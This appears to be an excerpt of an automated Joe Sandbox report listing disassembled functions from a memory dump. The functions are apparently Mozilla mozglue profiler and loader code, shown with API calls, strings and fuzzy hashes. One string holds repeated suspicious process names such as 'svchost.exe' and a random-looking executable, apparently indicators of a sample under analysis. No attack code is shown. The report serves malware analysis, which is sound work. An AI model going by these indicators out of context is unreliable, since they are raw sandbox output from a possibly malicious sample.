Instruction Fuzzy Hash: EFF13A71E187454FD700CE68C8823AAB7E3AFC5318F198A1EE8D587791E7749CC98792

Function 6CA2C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: c344736ceff5f65d075e6b02f72ca730264eeaafe075fb66f36ef7147cede7b7
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: D3A1A271F0062A8BEB08CE69C8917AEB7F2EFC8354F198129D915E7781D7349D468BD0

Function 6CA67710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 0b6c50a221d71f577b366ab86b0b317e48c8a412c8a7f98a70d7fb177be8f9f7
Instruction ID: 074136bfb520d84abb0770085d389237e29a08effc9029f70f9f661d53ff171e
Opcode Fuzzy Hash: 0b6c50a221d71f577b366ab86b0b317e48c8a412c8a7f98a70d7fb177be8f9f7
Instruction Fuzzy Hash: 21715E75E112198FCB18CFA9D4905EDBBB2FF89314F28816ED416ABB40D7316985CF90

Function 6CA658E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 15b0911ef1eb531a02f616ec9e8b71d32411d1842d052744192cc24e5d0fb502
Instruction ID: cd4c2945b76fd1ebc35a6889e03c143483bed97807e9bef78ba0528b40e3ea13
Opcode Fuzzy Hash: 15b0911ef1eb531a02f616ec9e8b71d32411d1842d052744192cc24e5d0fb502
Instruction Fuzzy Hash: 8D816E75E012199FCB14CFADD8809EEBBF2FF89314F648269D411ABB41D731A985CB90

Function 6CA6CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA3582D), ref: 6CA6CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA3582D), ref: 6CA6CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA9FE98,?,?,?,?,?,6CA3582D), ref: 6CA6CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA3582D), ref: 6CA6CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA3582D), ref: 6CA6CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA3582D), ref: 6CA6CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA3582D), ref: 6CA6CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CA6CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CA6CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CA6CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CA6CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CA6CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CA6CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CA6CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CA6CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CA6CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CA6CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CA6CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CA6CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CA6CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CA6CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CA6CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CA6CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CA6CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CA6CE8A

Strings

nativeallocations, xrefs: 6CA6CDA8
processcpu, xrefs: 6CA6CE6E
markersallthreads, xrefs: 6CA6CE42
samplingallthreads, xrefs: 6CA6CE2C
leaf, xrefs: 6CA6CC66
mainthreadio, xrefs: 6CA6CC7C
unregisteredthreads, xrefs: 6CA6CE58
preferencereads, xrefs: 6CA6CD92
seqstyle, xrefs: 6CA6CCE6
cpuallthreads, xrefs: 6CA6CE16
audiocallbacktracing, xrefs: 6CA6CDD4
fileio, xrefs: 6CA6CC92
notimerresolutionchange, xrefs: 6CA6CE00
Unrecognized feature "%s"., xrefs: 6CA6CEA0
default, xrefs: 6CA6CC21
ipcmessages, xrefs: 6CA6CDBE
java, xrefs: 6CA6CC37
fileioall, xrefs: 6CA6CCA8
nostacksampling, xrefs: 6CA6CD7C
c.exesvchost.exesvchost.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.e, xrefs: 6CA6CE92
noiostacks, xrefs: 6CA6CCBE
stackwalk, xrefs: 6CA6CCF8
screenshots, xrefs: 6CA6CCD4
power, xrefs: 6CA6CE84
jsallocations, xrefs: 6CA6CD0E

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$c.exesvchost.exesvchost.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.exerHTyNRmBQZmHnGf.e$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1750739038
Opcode ID: 078d025d988bbfe7d9d86f257e38759df0a121ed79718aa4a0ae47f41f19e8bf
Instruction ID: cec0ca28833452aef1bd02060919bcbdb24e92166d04f88d651c55fbe099411f
Opcode Fuzzy Hash: 078d025d988bbfe7d9d86f257e38759df0a121ed79718aa4a0ae47f41f19e8bf
Instruction Fuzzy Hash: 8151FCD191562497FE0031179E12BAB1485FF1324EF54503AEE1AA1F80FF08D2CE46B7

Function 6CA347C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA34801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA34817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA3482D
__Init_thread_footer.LIBCMT ref: 6CA3484A

Part of subcall function 6CA5AB3F: EnterCriticalSection.KERNEL32(6CAAE370,?,?,6CA23527,6CAAF6CC,?,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB49
Part of subcall function 6CA5AB3F: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA23527,6CAAF6CC,?,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5AB7C

GetCurrentThreadId.KERNEL32 ref: 6CA3485F
GetCurrentThreadId.KERNEL32 ref: 6CA3487E
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA3488B
free.MOZGLUE(?), ref: 6CA3493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA34956
free.MOZGLUE(00000000), ref: 6CA34960
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA3499A

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

free.MOZGLUE(?), ref: 6CA349C6
free.MOZGLUE(?), ref: 6CA349E9

Part of subcall function 6CA45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
Part of subcall function 6CA45E90: memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
Part of subcall function 6CA45E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA34828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA347FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6CA34A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA34812
[I %d/%d] profiler_shutdown, xrefs: 6CA34A06

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 22d6f77edc5fe92ad62c9ede6c17de56dc6d670e6e686ddde2b7dd1df0017b0d
Instruction ID: 416e17d8fce9994717ed4e189622960d5d7cb6eb215bc44c706215b29864ea17
Opcode Fuzzy Hash: 22d6f77edc5fe92ad62c9ede6c17de56dc6d670e6e686ddde2b7dd1df0017b0d
Instruction Fuzzy Hash: 23812B70E002268FDB18DFA8E86475E3B75BF42318F184229D91AD7B41D732D8D6CB96

Function 6CA34470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA34730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA344B2,6CAAE21C,6CAAF7F8), ref: 6CA3473E
Part of subcall function 6CA34730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA3474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA344BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA344D2
InitOnceExecuteOnce.KERNEL32(6CAAF80C,6CA2F240,?,?), ref: 6CA3451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA3455C
LoadLibraryW.KERNEL32(?), ref: 6CA34592
InitializeCriticalSection.KERNEL32(6CAAF770), ref: 6CA345A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA345AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA345BB
InitOnceExecuteOnce.KERNEL32(6CAAF818,6CA2F240,?,?), ref: 6CA34612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA34636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA34644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA3466D
VerSetConditionMask.NTDLL ref: 6CA3469F
VerSetConditionMask.NTDLL ref: 6CA346AB
VerSetConditionMask.NTDLL ref: 6CA346B2
VerSetConditionMask.NTDLL ref: 6CA346B9
VerSetConditionMask.NTDLL ref: 6CA346C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA346CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA346F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA346FD

Strings

kernel32.dll, xrefs: 6CA344CD
l, xrefs: 6CA34578
WRusr.dll, xrefs: 6CA344B5
user32.dll, xrefs: 6CA34557, 6CA3463F
NativeNtBlockSet_Write, xrefs: 6CA346F7

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 99745aa216ac3ef7dba1866663fa8d57cac10f3cea6ccd20a565d604cecc1619
Instruction ID: 9d2a5fd48cdccac669e8f68498bd524753a404d046f62a94277f76c77ea222e0
Opcode Fuzzy Hash: 99745aa216ac3ef7dba1866663fa8d57cac10f3cea6ccd20a565d604cecc1619
Instruction Fuzzy Hash: 1F6107B0A0035A9FEB188FE4EC19B997BB8FB46308F04D15CE508DB641D77189C6CBA0

Function 6CA6E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA67090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CA6B9F1,?), ref: 6CA67107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA6DCF5), ref: 6CA6E92D
GetCurrentThreadId.KERNEL32 ref: 6CA6EA4F
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6EA5C
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6EA80
GetCurrentThreadId.KERNEL32 ref: 6CA6EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA6DCF5), ref: 6CA6EA92
GetCurrentThreadId.KERNEL32 ref: 6CA6EB11
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CA6EB3C
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6EB5B

Part of subcall function 6CA65710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA6EB71), ref: 6CA657AB

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CA6EBAC

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

GetCurrentThreadId.KERNEL32 ref: 6CA6EBC1
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8,?,?,00000000), ref: 6CA6EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CA6EBE5
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8,00000000), ref: 6CA6EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA6EC46
CloseHandle.KERNEL32(?), ref: 6CA6EC55
free.MOZGLUE(00000000), ref: 6CA6EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CA6EA9B
[I %d/%d] profiler_start, xrefs: 6CA6EBB4

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: df7ba96a54d7aa8f9ea4fde5728a5b597fd672e7655cef55b4b09fd3d94ad21c
Instruction ID: 245a8bdff66c2539d3ceca7059fb2da57213dc9054cd1d3a7189a1a16a544430
Opcode Fuzzy Hash: df7ba96a54d7aa8f9ea4fde5728a5b597fd672e7655cef55b4b09fd3d94ad21c
Instruction Fuzzy Hash: 00A12831B013068FCB189FA9EC44BAA77B5FF86318F14812ED91587F40DB71988AC7A1

Function 6CA6F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CA6F8F9

Part of subcall function 6CA36390: GetCurrentThreadId.KERNEL32 ref: 6CA363D0
Part of subcall function 6CA36390: AcquireSRWLockExclusive.KERNEL32 ref: 6CA363DF
Part of subcall function 6CA36390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA3640E

ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6F93A
GetCurrentThreadId.KERNEL32 ref: 6CA6F98A
GetCurrentThreadId.KERNEL32 ref: 6CA6F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6F716

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

Part of subcall function 6CA2B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA2B5E0

GetCurrentThreadId.KERNEL32 ref: 6CA6F739
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6F746
GetCurrentThreadId.KERNEL32 ref: 6CA6F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAA385B,00000002,?,?,?,?,?), ref: 6CA6F829
free.MOZGLUE(?,?,00000000,?), ref: 6CA6F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CA6F866
free.MOZGLUE(?), ref: 6CA6FA0C

Part of subcall function 6CA35E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA355E1), ref: 6CA35E8C
Part of subcall function 6CA35E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA35E9D
Part of subcall function 6CA35E60: GetCurrentThreadId.KERNEL32 ref: 6CA35EAB
Part of subcall function 6CA35E60: GetCurrentThreadId.KERNEL32 ref: 6CA35EB8
Part of subcall function 6CA35E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA35ECF
Part of subcall function 6CA35E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CA35F27
Part of subcall function 6CA35E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CA35F47
Part of subcall function 6CA35E60: GetCurrentProcess.KERNEL32 ref: 6CA35F53
Part of subcall function 6CA35E60: GetCurrentThread.KERNEL32 ref: 6CA35F5C
Part of subcall function 6CA35E60: GetCurrentProcess.KERNEL32 ref: 6CA35F66
Part of subcall function 6CA35E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA35F7E

free.MOZGLUE(?), ref: 6CA6F9C5
free.MOZGLUE(?), ref: 6CA6F9DA

Strings

" attempted to re-register as ", xrefs: 6CA6F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CA6F71F
Thread , xrefs: 6CA6F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CA6F9A6

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 09d58efd7e65cc77cac148e6e031f0abf63331e5b8ae4f90f2c6b2a13888f3f1
Instruction ID: 0d44e259f1b6c9a6d595f91cf4d4b4dbf33eb4a65f825c1dbd2d2b4e7a2f06fc
Opcode Fuzzy Hash: 09d58efd7e65cc77cac148e6e031f0abf63331e5b8ae4f90f2c6b2a13888f3f1
Instruction Fuzzy Hash: EF812571A003059FC714DF65D940BAEB7B5BF85308F48851DE84A8BB11EB30D88DCB92

Function 6CA6EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6EE60
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6EE6D
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA6EEA5
